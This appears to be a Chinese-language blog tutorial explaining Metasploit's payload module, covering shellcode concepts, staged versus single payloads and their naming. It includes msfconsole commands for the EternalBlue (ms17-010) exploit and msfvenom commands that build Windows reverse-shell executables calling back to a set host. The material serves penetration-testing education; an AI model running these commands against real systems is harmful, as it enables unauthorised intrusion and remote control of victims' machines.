Metasploit payloads模块理解

文章目录

  • 一、payloads 的使用
  • 二、payload是什么
    • payload
    • shellcode的编写
  • 三、MSF的Payloads模块
    • payload分类
    • payload的投递
  • 四、MSF模块功能
  • 参考


一、payloads 的使用

继续来看永恒之蓝的漏洞利用过程:

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell

use该模块后,options一下
Metasploit payloads模块理解_第1张图片
可以看到,它已经默认为我们设置了一个payload。在该模块上下文中,可以使用set payload来设置我们想用的payload,也可以show payloads,根据显示的编号进行set
Metasploit payloads模块理解_第2张图片
Metasploit payloads模块理解_第3张图片

二、payload是什么

payload

  • payload,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令
  • shellcode,是payload的一种,由于其建立正向/反向shell二得名

这是百度中比较多的说法,直接看《0day安全软件漏洞分析技术》中解释,会比较明白。

    1996 年,Aleph One 在 Underground 发表了著名论文 Smashing the Stack for Fun and Profit, 其中详细描述了 Linux 系统中栈的结构和如何利用基于栈的缓冲区溢出。在这篇具有划时代意义的论文中,Aleph One 演示了如何向进程中植入一段用于获得 shell 的代码,并在论文中称这段被植入进程的代码为“shellcode” 。
后来人们干脆统一用 shellcode 这个专用术语来通称缓冲区溢出攻击中植入进程的代码。这段代码可以是出于恶作剧目的的弹出一个消息框, 也可以是出于攻击目的的删改重要文件、 窃取数据、上传木马病毒并运行,甚至是出于破坏目的的格式化硬盘等。请注意本章讨论的 shellcode 是这种广义上的植入进程的代码,而不是狭义上的仅仅用来获得 shell 的代码。
    shellcode 往往需要用汇编语言编写,并转换成二进制机器码,其内容和长度经常还会受到很多苛刻限制,故开发和调试的难度很高。
    在技术文献中,我们还会经常看到另一个术语——exploit。
    植入代码之前需要做大量的调试工作,例如,弄清楚程序有几个输入点,这些输入将最终会当作哪个函数的第几个参数读入到内存的哪一个区域,哪一个输入会造成栈溢出,在复制到栈区的时候对这些数据有没有额外的限制等。 调试之后还要计算函数返回地址距离缓冲区的偏移并淹没之,选择指令的地址,最终制作出一个有攻击效果的“承载”着 shellcode 的输入字符串。这个代码植入的过程就是漏洞利用,也就是 exploit。
    exploit 一般以一段代码的形式出现, 用于生成攻击性的网络数据包或者其他形式的攻击性输入。exploit 的核心是淹没返回地址, 劫持进程的控制权, 之后跳转去执行 shellcode。 与 shellcode 具有一定的通用性不同,exploit 往往是针对特定漏洞而言的。
    其实,漏洞利用的过程就好像一枚导弹飞向目标的过程。导弹的设计者关注的是怎样计算飞行路线,锁定目标,最终把弹头精确地运载到目的地并引爆,而并不关心所承载的弹头到底是用来在地上砸一个坑的铅球, 还是用来毁灭一个国家的核弹头; 这就如同 exploit 关心的是怎样淹没返回地址, 获得进程控制权, 把 EIP 传递给 shellcode 让其得到执行并发挥作用, 而不关心 shellcode 到底是弹出一个消息框的恶作剧, 还是用于格式化对方硬盘的穷凶极恶的代码
    随着现代化软件开发技术的发展,模块化、封装、代码重用等思想在漏洞利用技术中也得以体现。试想如果仿照武器的设计思想,分开设计导弹和弹头,将各自的技术细节封装起来, 使用标准化的接口, 漏洞利用的过程是不是会更容易些呢?其实在第 4 章中将介绍到的通用漏洞测试平台 Metasploit 就是利用了这种观点。Metasploit 通过规范化 exploit 和 shellcode 之间的接口把漏洞利用的过程封装成易用的模块, 大大减少了 expliot 开发过程中的重复工作, 深刻体现了代码重用和模块化、结构化的思想。在这个平台中:
    (1) 所有的 exploit 都使用漏洞名称来命名, 里边包含有这个漏洞的函数返回地址, 所使用的跳转指令地址等关键信息。
    (2)将常用的 shellcode(例如,用于绑定端口反向连接、执行任意命令等)封装成一个个通用的模块,可以轻易地与任意漏洞的 exploit 进行组合。

读完上面的引用,我们应该理解:

  1. payload就是shellcode,即我们植入的指令。
  2. Exploits模块和Payloads模块是软件开发中解耦思想的应用
  3. Payloads模块就是一个包含很多shellcode/payload的库。

shellcode的编写

正如上述,shellcode

  1. 独立的存在,无需任何格式的包装。
  2. 内存中运行,无需固定指定的宿主进程。
    Metasploit payloads模块理解_第4张图片

我们可以使用C语言编写shellcode(取消编译器的各类优化),然后从生成的可执行文件中提取shellcode(正如上图所示)。也可以使用汇编语言直接生成shellcode,因为汇编语言直接面向机器编程。

三、MSF的Payloads模块

MSF的payload模块位于modules/payloads{adapter,singles,stagers,stages}/platform>>。当框架启动时,stages与stagers结合以创建可在exploits中使用的完整的payload。然后,handlers与payload配对,因此框架将知道如何使用给定的通信机制创建会话。

Payload被赋予参考名称,如下所示:

  • Staged payloads:platform>/ [arch] / stage> / stager>
  • Single payloads:platform>/ [arch] / single>

这就会产生像windows/ x64 / meterpreter / reverse_tcp这样的payload。分离出来,平台是windows,架构是x64,我们投递的最终的stagemeterpreter,而传递它的stagerreverse_tcp

请注意,arch是可选的,因为在某些情况下,它是不必要或者已经默认了。比如php/ meterpreter / reverse_tcp。PHP的payload不需要Arch,因为我们提供的是解释代码而不是二进制代码。

payload分类

single:独立载荷,可直接植入目标系统并执行相应的程序

stager:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。使用stagers解决了两个问题,第一是允许我们使用一个小的payload来初始化并加载一个更多功能体积更的的payload;第二是它分离了stage的通信机制,使得一个payload(stage)可以为多个传输器使用而不用重复的开发代码

stage:传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。

payload的投递

  1. The IP address and port you want the payload to connect back to are embedded in the stager. As discussed above, all staged payloads are no more than a small stub that sets up communication and executes the next stage. When you create an executable using a staged payload, you’re really just creating the stager. So the following commands would create functionally identical exe files:
 msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
 msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
 msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp

(Note that these are functionally identical – there is a lot of randomization that goes into it so no two executables are exactly the same.)

  1. The Ruby side acts as a client using whichever transport mechanism was set up by the stager (e.g.: tcp, http, https).
    In the case of a shell stage, Metasploit will connect the remote process’s stdio to your terminal when you interact with it.
    In the case of a Meterpreter stage, Metasploit will begin speaking the Meterpreter wire protocol.

四、MSF模块功能

Metasploit payloads模块理解_第5张图片

参考

[1] https://www.freebuf.com/articles/network/263010.html
[2] https://docs.metasploit.com/docs/using-metasploit/basics/how-payloads-work.html
[3] https://www.cobaltstrike.com/blog/staged-payloads-what-pen-testers-should-know/

你可能感兴趣的:(windows,安全,web安全)